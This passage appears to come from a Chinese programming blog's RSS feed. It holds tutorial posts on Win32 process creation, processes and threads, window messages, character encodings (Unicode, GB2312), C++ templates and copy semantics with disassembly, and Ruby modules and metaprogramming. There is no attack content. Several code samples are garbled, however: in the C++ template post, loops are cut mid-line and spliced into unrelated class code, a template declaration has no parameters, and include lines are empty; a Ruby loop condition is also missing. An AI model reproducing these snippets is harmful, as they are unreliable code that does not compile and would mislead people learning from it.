 LPCTSTR lpApplicationName, // 可执行模块名称 (全路径 必须是const字符串
 LPTSTR lpCommandLine, // 命令行(字符串 可以不是const字符串
 LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程安全描述符
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程描述符
 BOOL bInheritHandles, // 继承标志位
 DWORD dwCreationFlags, // 创建标志位 (指定控制优先级和创建过程的额外标志，除了如前说，可以在任何组合中指定下列创建标标志
 LPVOID lpEnvironment, // 进程环境块
 LPCTSTR lpCurrentDirectory, // 驱动目录
 LPSTARTUPINFO lpStartupInfo, // 启动信息 指向一个窗体结构，该接口体表示新进程的窗口应该如何出现
 LPPROCESS_INFORMATION lpProcessInformation // 进程信息
);
//启动信息参数的结构体
typedef struct _STARTUPINFO {
 DWORD cb; //记录指定结构体大小，以字节为单位
 LPTSTR lpReserved;
 LPTSTR lpDesktop;
 LPTSTR lpTitle; //对于控制台进程，日过创建了新的控制欲窗口，则会显示标题栏中的标题，如果NULL。可执行文件额名称将会用作窗口标题， This parameter must be NULL for GUI or console processes that do not create a new console window.
 DWORD dwX; //控制窗口位置x
 DWORD dwY; //控制窗口位置y
 DWORD dwXSize; //控制窗口宽度
 DWORD dwYSize; //控制窗口高度
 DWORD dwXCountChars;
 DWORD dwYCountChars;
 DWORD dwFillAttribute;
 DWORD dwFlags;
 WORD wShowWindow; //窗口显示方式
 WORD cbReserved2;
 LPBYTE lpReserved2;
 HANDLE hStdInput;
 HANDLE hStdOutput;
 HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
//进程信息结构体
typedef struct _PROCESS_INFORMATION {
 HANDLE hProcess; //进程句柄
 HANDLE hThread; //主线程句柄
 DWORD dwProcessId; //被创建的进程id
 DWORD dwThreadId; //被创建的主线程ID
} PROCESS_INFORMATION;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp: 启动qq&lt;/p&gt;</description></item><item><title>进程和线程</title><link>https://luodaoyi.com/posts/%E8%BF%9B%E7%A8%8B%E5%92%8C%E7%BA%BF%E7%A8%8B-%E8%BF%9B%E7%A8%8B%E5%92%8C%E7%BA%BF%E7%A8%8B/</link><pubDate>Fri, 06 Apr 2018 04:22:28 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%BF%9B%E7%A8%8B%E5%92%8C%E7%BA%BF%E7%A8%8B-%E8%BF%9B%E7%A8%8B%E5%92%8C%E7%BA%BF%E7%A8%8B/</guid><description>&lt;h1 id="进程和线程"&gt;进程和线程&lt;/h1&gt;
&lt;h2 id="什么是进程"&gt;什么是进程？&lt;/h2&gt;
&lt;h2 id="进程和普通计算机程序的区别"&gt;进程和普通计算机程序的区别&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;进程 是&lt;code&gt;运行中的&lt;/code&gt;程序&lt;/li&gt;
&lt;li&gt;进程 &lt;code&gt;活在内存中&lt;/code&gt; 有血有肉有灵魂&lt;/li&gt;
&lt;li&gt;程序 &lt;code&gt;死在&lt;/code&gt; 硬盘上的 有肉没血没灵魂&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="如果进程是空间的概念那么这段空间里有什么"&gt;如果进程是空间的概念，那么这段空间里有什么？&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-04-06-15229580492768.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="如果进程是空间概念那么进程是怎么工作的"&gt;如果进程是空间概念，那么进程是怎么工作的？&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-04-06-15229582173966.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="进程和线程的关系"&gt;进程和线程的关系&lt;/h2&gt;
&lt;p&gt;进程： 提供了必要的资源和空间&lt;br&gt;
线程： 使用进程中的资源完成工作的工作人员&lt;br&gt;
关系： 进程提供资源，线程使用资源完成工作&lt;/p&gt;
&lt;h2 id="32位操作系统中每个进程的内存情况"&gt;32位操作系统中每个进程的内存情况&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-04-06-15229586001581.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="操作系统是如何管理内存的"&gt;操作系统是如何管理内存的&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-04-06-15229586936289.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;对于每个进程而言。只有低2GB的的内存空间才是可以随意使用的，高2GB的空间是系统内核所在 ，无权限的话根本不可以访问。&lt;br&gt;
而且搞2GB的系统内核区域内存全局就一份。所有进程访问的都是那一份&lt;/p&gt;</description></item><item><title>窗口与事件</title><link>https://luodaoyi.com/posts/%E7%AA%97%E5%8F%A3%E4%B8%8E%E4%BA%8B%E4%BB%B6-%E7%AA%97%E5%8F%A3%E4%B8%8E%E4%BA%8B%E4%BB%B6/</link><pubDate>Tue, 03 Apr 2018 00:56:59 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%AA%97%E5%8F%A3%E4%B8%8E%E4%BA%8B%E4%BB%B6-%E7%AA%97%E5%8F%A3%E4%B8%8E%E4%BA%8B%E4%BB%B6/</guid><description>&lt;h1 id="窗口与事件"&gt;窗口与事件&lt;/h1&gt;
&lt;h2 id="窗口"&gt;窗口&lt;/h2&gt;
&lt;h3 id="什么是窗口"&gt;什么是窗口?&lt;/h3&gt;
&lt;p&gt;Windows中称为视窗，是一个程序的&lt;code&gt;操作显示界面&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="窗口执行动作是由什么驱动的"&gt;窗口执行动作是由什么驱动的？&lt;/h3&gt;
&lt;p&gt;Windows中通过什么机制将发生的一些动作和响应的响应函数连接起来&lt;/p&gt;
&lt;p&gt;&lt;code&gt;事件消息机制&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-04-03-15226881833915.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="事件"&gt;事件&lt;/h2&gt;
&lt;p&gt;用户操作或者Windows系统自身所产生的&lt;code&gt;动作&lt;/code&gt;就是发生了什么，事件总是和一个ID有关&lt;/p&gt;
&lt;h2 id="消息"&gt;消息&lt;/h2&gt;
&lt;p&gt;就是用于&lt;code&gt;描述某个事件&lt;/code&gt;所发生的&lt;code&gt;信息&lt;/code&gt; 消息就是 &lt;code&gt;你该干什么了&lt;/code&gt;&lt;/p&gt;</description></item><item><title>API与宽字符</title><link>https://luodaoyi.com/posts/api%E4%B8%8E%E5%AE%BD%E5%AD%97%E7%AC%A6-api%E4%B8%8E%E5%AE%BD%E5%AD%97%E7%AC%A6/</link><pubDate>Thu, 29 Mar 2018 13:46:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/api%E4%B8%8E%E5%AE%BD%E5%AD%97%E7%AC%A6-api%E4%B8%8E%E5%AE%BD%E5%AD%97%E7%AC%A6/</guid><description>&lt;h1 id="api与宽字符"&gt;API与宽字符&lt;/h1&gt;
&lt;h2 id="apiapplication-programming-interface应用程序编程接口"&gt;API（Application Programming Interface,应用程序编程接口）&lt;/h2&gt;
&lt;h3 id="api的定义"&gt;Api的定义&lt;/h3&gt;
&lt;p&gt;api就是一些&lt;code&gt;预先定义的函数&lt;/code&gt;，目的是提供应用程序与开发人员基于某软件或者硬件的一访问一组例程的能力，而又无需访问源码，或者理解内部工作机制的细节&lt;/p&gt;
&lt;h3 id="windowsapi的定义"&gt;WindowsAPI的定义&lt;/h3&gt;
&lt;p&gt;WindowsAPI是一套用来控制windows的各个木粉的外观和行为的预先定义的WIndows&lt;code&gt;函数&lt;/code&gt;&lt;br&gt;
应用程序&lt;code&gt;接口&lt;/code&gt;&lt;/p&gt;</description></item><item><title>win32中的宽字符</title><link>https://luodaoyi.com/posts/win32%E4%B8%AD%E7%9A%84%E5%AE%BD%E5%AD%97%E7%AC%A6-win32%E4%B8%AD%E7%9A%84%E5%AE%BD%E5%AD%97%E7%AC%A6/</link><pubDate>Wed, 28 Mar 2018 01:55:20 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/win32%E4%B8%AD%E7%9A%84%E5%AE%BD%E5%AD%97%E7%AC%A6-win32%E4%B8%AD%E7%9A%84%E5%AE%BD%E5%AD%97%E7%AC%A6/</guid><description>&lt;h1 id="win32中的宽字符"&gt;win32中的宽字符&lt;/h1&gt;
&lt;h2 id="宽字符"&gt;宽字符&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;数据类型&lt;/th&gt;
 &lt;th&gt;容器、模板&lt;/th&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;ASCII&lt;/td&gt;
 &lt;td&gt;一个字符&lt;/td&gt;
 &lt;td&gt;一个字节&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GB码(扩展了的ASCII)&lt;/td&gt;
 &lt;td&gt;英文字符&lt;/td&gt;
 &lt;td&gt;一个字节&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GB码&lt;/td&gt;
 &lt;td&gt;中文字符&lt;/td&gt;
 &lt;td&gt;两个字节&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;UNICODE字符集(unicode编码实际指的是utf-16)&lt;/td&gt;
 &lt;td&gt;常用字符&lt;/td&gt;
 &lt;td&gt;两个字节&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;宽字符： &lt;code&gt;用多个字节来表示的字符称之为宽字符&lt;/code&gt;(只要不是以单字节存储都可称为宽字符)&lt;/p&gt;</description></item><item><title>unicode和utf8编码</title><link>https://luodaoyi.com/posts/unicode%E5%92%8Cutf8%E7%BC%96%E7%A0%81-unicode%E5%92%8Cutf8%E7%BC%96%E7%A0%81/</link><pubDate>Tue, 27 Mar 2018 02:51:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/unicode%E5%92%8Cutf8%E7%BC%96%E7%A0%81-unicode%E5%92%8Cutf8%E7%BC%96%E7%A0%81/</guid><description>&lt;h2 id="兼容问题"&gt;兼容问题&lt;/h2&gt;
&lt;p&gt;由于ASCII存在字符含量过少的缺陷，所以不但我国自己搞出了国际码。其他国家也都设计出了符合自己国情的字符集&lt;/p&gt;
&lt;p&gt;但是这就带来了问题&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;各个字符集之间不兼容怎么办？&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="unicode"&gt;Unicode&lt;/h2&gt;
&lt;p&gt;Unicode 4个字节32位&lt;/p&gt;
&lt;p&gt;真正有效范围： 0x0 – 0x 10ffff&lt;br&gt;
约十进制：1114112 个字符&lt;/p&gt;
&lt;p&gt;unicode相当于 “区位码”(也就是电脑中运行的)，实际存储要按照相应的编码方案&lt;/p&gt;</description></item><item><title>GB2312原文到GB2312机内码</title><link>https://luodaoyi.com/posts/gb2312%E5%8E%9F%E6%96%87%E5%88%B0gb2312%E6%9C%BA%E5%86%85%E7%A0%81-gb2312%E5%8E%9F%E6%96%87%E5%88%B0gb2312%E6%9C%BA%E5%86%85%E7%A0%81/</link><pubDate>Tue, 27 Mar 2018 01:00:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/gb2312%E5%8E%9F%E6%96%87%E5%88%B0gb2312%E6%9C%BA%E5%86%85%E7%A0%81-gb2312%E5%8E%9F%E6%96%87%E5%88%B0gb2312%E6%9C%BA%E5%86%85%E7%A0%81/</guid><description>&lt;h1 id="gb2312原文到gb2312机内码"&gt;GB2312原文到GB2312机内码&lt;/h1&gt;
&lt;h2 id="anscii"&gt;ANSCII&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-03-27-15220796835931.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-03-27-15220796684844.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="汉字编码国家标准"&gt;汉字编码国家标准&lt;/h2&gt;
&lt;h3 id="区位码"&gt;区位码&lt;/h3&gt;
&lt;p&gt;01-09区 为特殊字符区&lt;br&gt;
10-15区 为自定义区&lt;br&gt;
16-87区 为汉字编码区&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-03-27-15221570262289.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h3 id="兼容演变"&gt;兼容演变：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 区位码标准中没有定义控制字符
 解决方案：
 将整个区位码向后移动32位(具体表现为每一字节都加上0x20)得到GB2312原码（国标码）
2. 原版ASCII与我们的初版国际码不兼容
 解决方案：
 将整个BG2312源码向后移动0x80(具体表现为每一字节都加上0x80)得到GB2312机内码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-03-27-15220830891686.jpg" alt="" title=""&gt;&lt;/p&gt;</description></item><item><title>Cpp9 模板</title><link>https://luodaoyi.com/posts/cpp9-%E6%A8%A1%E6%9D%BF-cpp9%E6%A8%A1%E6%9D%BF/</link><pubDate>Thu, 01 Mar 2018 08:27:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp9-%E6%A8%A1%E6%9D%BF-cpp9%E6%A8%A1%E6%9D%BF/</guid><description>&lt;h2 id="模板"&gt;模板&lt;/h2&gt;
&lt;p&gt;下面是一个针对int的冒泡排序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// _20180301.cpp : Defines the entry point for the console application.
//
#include &amp;quot;stdafx.h&amp;quot;
void Sort(int* arr,int nLength)
{
 int i,k;
 for (i = 0;ix &amp;gt; base.x &amp;amp;&amp;amp; this-&amp;gt;y &amp;gt; base.y;
 }
private:
 int x;
 int y;
};
template
void Sort(T* arr,int nLength)
{
 int i,k;
 for (i = 0;iy)
 return x;
 else
 return y;
 }
 M min()
 {
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Cpp8 运算符重载和深浅拷贝</title><link>https://luodaoyi.com/posts/cpp8-%E8%BF%90%E7%AE%97%E7%AC%A6%E9%87%8D%E8%BD%BD%E5%92%8C%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D-cpp8%E8%BF%90%E7%AE%97%E7%AC%A6%E9%87%8D%E8%BD%BD%E5%92%8C%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D/</link><pubDate>Fri, 23 Feb 2018 22:25:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp8-%E8%BF%90%E7%AE%97%E7%AC%A6%E9%87%8D%E8%BD%BD%E5%92%8C%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D-cpp8%E8%BF%90%E7%AE%97%E7%AC%A6%E9%87%8D%E8%BD%BD%E5%92%8C%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D/</guid><description>&lt;h2 id="深浅拷贝"&gt;深浅拷贝&lt;/h2&gt;
&lt;p&gt;相同类型间可以直接拷贝&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// _20180212.cpp : Defines the entry point for the console application.
//
#include &amp;quot;stdafx.h&amp;quot;
#include
#include
class A
{
private:
 int* a;
public:
 A()
 {
 a = new int[10];
 }
 virtual ~A()
 {
 delete a;
 printf(&amp;quot;析构 A \n&amp;quot;);
 }
};
int main(int argc,char* argv[])
{
 A a1;
 A a2;
 a1 = a2;
 return 0;
}
//反汇编
27: A a1;
0040108D lea ecx,[ebp-14h]
00401090 call @ILT+15(B::B) (00401014)
00401095 mov dword ptr [ebp-4],0
28: A a2;
0040109C lea ecx,[ebp-1Ch]
0040109F call @ILT+15(B::B) (00401014)
004010A4 mov byte ptr [ebp-4],1
29: a1 = a2;
004010A8 lea eax,[ebp-1Ch]
004010AB push eax //a2 作为参数传递
004010AC lea ecx,[ebp-14h] //a1 作为this指针传递
004010AF call @ILT+45(A::operator=) (00401032)
30: return 0;
A::operator=:
004012E0 push ebp
004012E1 mov ebp,esp
004012E3 sub esp,44h
004012E6 push ebx
004012E7 push esi
004012E8 push edi
004012E9 push ecx
004012EA lea edi,[ebp-44h]
004012ED mov ecx,11h
004012F2 mov eax,0CCCCCCCCh
004012F7 rep stos dword ptr [edi]
004012F9 pop ecx
//eax = a1首地址
004012FA mov dword ptr [ebp-4],ecx
004012FD mov eax,dword ptr [ebp-4]
//ecx = a2首地址
00401300 mov ecx,dword ptr [ebp+8]
//ecx + 4 这里是 class A中变量a的地址(ecx 对应虚表地址)
//因为ecx是变量a2 所以这里的edx = a2.a
00401303 mov edx,dword ptr [ecx+4]
//a2.a 赋值给a1.a
00401306 mov dword ptr [eax+4],edx
//返回a1首地址
00401309 mov eax,dword ptr [ebp-4]
0040130C pop edi
0040130D pop esi
0040130E pop ebx
0040130F mov esp,ebp
00401311 pop ebp
00401312 ret 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现使用&lt;code&gt;=&lt;/code&gt;直接赋值对象，编译器自动生成了&lt;code&gt;operator=&lt;/code&gt; 函数用于处理类型赋值&lt;br&gt;
我们观察编译器自动生成的函数&lt;code&gt;operator=&lt;/code&gt;，这里赋值直接略过了虚表(ecx+4)&lt;/p&gt;</description></item><item><title>Ruby11 拾遗</title><link>https://luodaoyi.com/posts/ruby11-%E6%8B%BE%E9%81%97-ruby11%E6%8B%BE%E9%81%97/</link><pubDate>Tue, 20 Feb 2018 14:55:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby11-%E6%8B%BE%E9%81%97-ruby11%E6%8B%BE%E9%81%97/</guid><description>&lt;h2 id="agenda"&gt;Agenda&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Loop&lt;/li&gt;
&lt;li&gt;Expression&lt;/li&gt;
&lt;li&gt;File Read/Write&lt;/li&gt;
&lt;li&gt;Debug&lt;/li&gt;
&lt;li&gt;Process &amp;amp; Thread&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="loop"&gt;Loop&lt;/h3&gt;
&lt;p&gt;while&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a = 10
while a &amp;gt; 0
 puts a
 a -= 1
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;until&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a = 100
until a == 0
 puts a
 a -= 1
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;loop&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a = 10
loop do
 break if a 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;!~&lt;/code&gt; 正则匹配 是否匹配不到 匹配到返回fals 匹配不到返回true&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/666/i !~ &amp;quot;hello world&amp;quot; # =&amp;gt; true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;alias&lt;/code&gt; 别名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def hello
 &amp;quot;hello&amp;quot;
end
alias old_hello hello
def hello
 &amp;quot;new hello&amp;quot;
end
puts old_hello
puts hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="file-readwrite-文件读写"&gt;File Read/Write 文件读写&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;File.read&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File.readlines&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File#rewind etc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IO.read/write&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;File Read&lt;/p&gt;</description></item><item><title>Ruby10 Class Module Gem 深入</title><link>https://luodaoyi.com/posts/ruby10-class-module-gem-%E6%B7%B1%E5%85%A5-ruby10classmodulegem%E6%B7%B1%E5%85%A5/</link><pubDate>Tue, 20 Feb 2018 14:24:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby10-class-module-gem-%E6%B7%B1%E5%85%A5-ruby10classmodulegem%E6%B7%B1%E5%85%A5/</guid><description>&lt;h2 id="agenda"&gt;Agenda&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;class_eval &amp;amp; instance_eval&lt;/li&gt;
&lt;li&gt;method_missing&lt;/li&gt;
&lt;li&gt;Module as a namespace&lt;/li&gt;
&lt;li&gt;Gems&lt;/li&gt;
&lt;li&gt;require vs load&lt;/li&gt;
&lt;li&gt;$LOAD_PATH&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="class_eval"&gt;class_eval&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;首先class_eval是只有类才能调用的，Class#class_eval&lt;/li&gt;
&lt;li&gt;class_eval会重新打开当前类的作用域&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# class_eval
class User
end
User.class_eval do
 attr_accessor :name
 def hello
 &amp;quot;hello&amp;quot;
 end
end
user = User.new
user.name = &amp;quot;world&amp;quot;
puts user.name
puts user.hello


# module&amp;quot;s self
module Management
 def self.track
 &amp;quot;track&amp;quot;
 end
end
class User
 include Management
end
# User.track # =&amp;gt; error
Management.track


# class_eval in project
# requirement: we need to execute a class method when module included
module Manegement
 def self.included base #Manafement模块被其他类Included的时候会执行
 base.extend ClassMethods #User类注入ClassMethod
 base.class_eval do #打开User类
 setup_attribute
 end
 end
 # Manegement 内部模块 当引入Management的时候 会被引用为其他类的类方法
 module ClassMethods
 def setup_attribute
 puts &amp;quot;setup_attribute&amp;quot;
 end
 end
end
class User
 include Manegement #目的是在include Management 的时候执行一些方法或者设置
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="instance_eval"&gt;instance_eval&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;instance_eval 是所有类实例的方法&lt;/li&gt;
&lt;li&gt;打开的是当前实例作用域&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# instance_eval, instance methods and class methods
# 1. as a question
class User
end
User.class_eval do
 def hello
 &amp;quot;hello&amp;quot;
 end
end
User.instance_eval do
 def hi
 &amp;quot;hi&amp;quot;
 end
end
puts User.hi
user = User.new
puts user.hello
# puts user.hi #报错

# instance_eval, singleton_method
a = &amp;quot;xxx&amp;quot;
a.instance_eval do
 def to_hello
 self.replace(&amp;quot;hello&amp;quot;)
 end
end
puts a.to_hello
# b = &amp;quot;world&amp;quot;
# b.to_hello # =&amp;gt; error

# class_eval as instance_eval
class User
end
User.class_eval do
 def hello
 &amp;quot;hello&amp;quot;
 end
 # works same as instance_eval
 def self.hi
 &amp;quot;hi&amp;quot;
 end
end
puts User.new.hello
puts User.hi
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="method_missing"&gt;method_missing&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;当当前作用域上下文没有找到方法时就会调用&lt;/li&gt;
&lt;li&gt;method_missing方法&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# metho missing
#
# 1. how it works
# 2. ancestors
# 3. rails&amp;quot;s AR
class User
 def hello
 &amp;quot;hello from User&amp;quot;
 end
 def method_missing(name, *args)
 &amp;quot;method name is #{name} ,parameters :#{args}&amp;quot;
 end
end
user = User.new
puts user.hello
puts &amp;quot;-&amp;quot; * 30
puts user.hi(&amp;quot;hello&amp;quot;,19)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="namespace"&gt;Namespace&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Module&lt;/li&gt;
&lt;li&gt;Class&lt;/li&gt;
&lt;li&gt;Constants&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;使用&lt;code&gt;::&lt;/code&gt;来访问&lt;/p&gt;</description></item><item><title>Ruby9 Class &amp; Modules 进阶</title><link>https://luodaoyi.com/posts/ruby9-class-modules-%E8%BF%9B%E9%98%B6-ruby9classmodules%E8%BF%9B%E9%98%B6/</link><pubDate>Sun, 18 Feb 2018 06:52:49 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby9-class-modules-%E8%BF%9B%E9%98%B6-ruby9classmodules%E8%BF%9B%E9%98%B6/</guid><description>&lt;h2 id="ruby的内部类结构"&gt;Ruby的内部类结构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Array.class # =&amp;gt; Class
Class.class # =&amp;gt; Class
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="superclass-查看父类"&gt;superclass 查看父类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Array.superclass # =&amp;gt;Object
Object.superclass # =&amp;gt;BasicObject
BasicObject.superclass # =&amp;gt; nil
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="ancestors-查看当前类的继承链"&gt;ancestors 查看当前类的继承链&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Array.ancestors # =&amp;gt; [Array, Enumerable, Object, Kernel, BasicObject]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="method-finding-方法查找"&gt;Method Finding 方法查找&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# class structure, method finding
class User
 def panels
 @panels ||= [&amp;quot;Profile&amp;quot;, &amp;quot;Products&amp;quot;]
 end
end
class Admin &amp;lt; User
end
puts Admin.ancestors
admin = Admin.new
p admin.panels
# 从下往上查找 在admin中查找 找不到往上找User 然后Object 然后Kernel 然后 BasicObject
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="method-overwrite-方法覆盖"&gt;Method Overwrite 方法覆盖&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;class和module可以重新打开&lt;/li&gt;
&lt;li&gt;方法可以重定义&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 重新打开class
class User
 def panels
 @panels ||= [&amp;quot;Profile&amp;quot;, &amp;quot;Products&amp;quot;]
 end
end
class User
 def panels
 &amp;quot;overwrite&amp;quot;
 end
end
puts User.ancestors
admin = User.new
p admin.panels
# 从下往上查找 在admin中查找 找不到往上找User 然后Object 然后Kernel 然后 BasicObject

# overwrite and re-open
class Array
 def to_hello_word
 &amp;quot;hello #{self.join(&amp;quot;, &amp;quot;)}&amp;quot;
 end
end
a = %w[cat horse dog]
puts a.to_hello_word

# overwrite and re-open
a = %w[cat horse dog]
puts a.join(&amp;quot;,&amp;quot;)
class Array
 def join
 &amp;quot;hello&amp;quot;
 end
end
puts &amp;quot;-&amp;quot; * 30
puts a.join
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="module"&gt;Module&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Array.ancestors # =&amp;gt; [Array, Enumerable, Object, Kernel, BasicObject]
Enumerable.class # =&amp;gt; Module
Module.class # =&amp;gt; Class

# module acts linke a class
module Management
 def company_notifies
 &amp;quot;company_notifies from management&amp;quot;
 end
end
class User
 include Management
 def company_notifies
 puts super
 &amp;quot;company_notifies from user&amp;quot;
 end
end
p User.ancestors
puts &amp;quot;-&amp;quot; * 30
user = User.new
puts user.company_notifies

# module included sequence
module Management
 def company_notifies
 &amp;quot;company_notifies from management&amp;quot;
 end
end
module Track
 def company_notifies
 &amp;quot;company_notifies from track&amp;quot;
 end
end
class User
 include Management
 include Track
 def company_notifies
 puts super
 &amp;quot;company_notifies from user&amp;quot;
 end
end
p User.ancestors
puts &amp;quot;-&amp;quot; * 30
user = User.new
puts user.company_notifies

# 1 module included in module
# 2 module acts as class
module Management
 def company_notifies
 &amp;quot;company_notifies from management&amp;quot;
 end
end
module Track
 include Management
 def company_notifies
 puts super
 &amp;quot;company_notifies from track&amp;quot;
 end
end
p Track.ancestors
puts &amp;quot;-&amp;quot; * 30
include Track
puts company_notifies

# module&amp;quot;s class method
module Management
 def self.progress
 &amp;quot;progress&amp;quot;
 end
 # you need to include/extend/prepend to use this metod
 def company_notifies
 &amp;quot;company_notifies from management&amp;quot;
 end
end
puts Management.progress
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="include-vs-prepend"&gt;include vs prepend&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;include 把模块注入当前类的继承链(祖先链) &lt;code&gt;后面&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;prepend 把模块注入当前累的继承链(祖先链) &lt;code&gt;前面&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# module include
# include
module Management
 def company_notifies
 &amp;quot;company_notifies from management&amp;quot;
 end
end
class User
 prepend Management
 # include Management
 def company_notifies
 &amp;quot;company_notifies from user&amp;quot;
 end
end
p User.ancestors
puts &amp;quot;-&amp;quot; * 30
user = User.new
puts user.company_notifies
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="include和exten方法"&gt;include和exten方法&lt;/h2&gt;
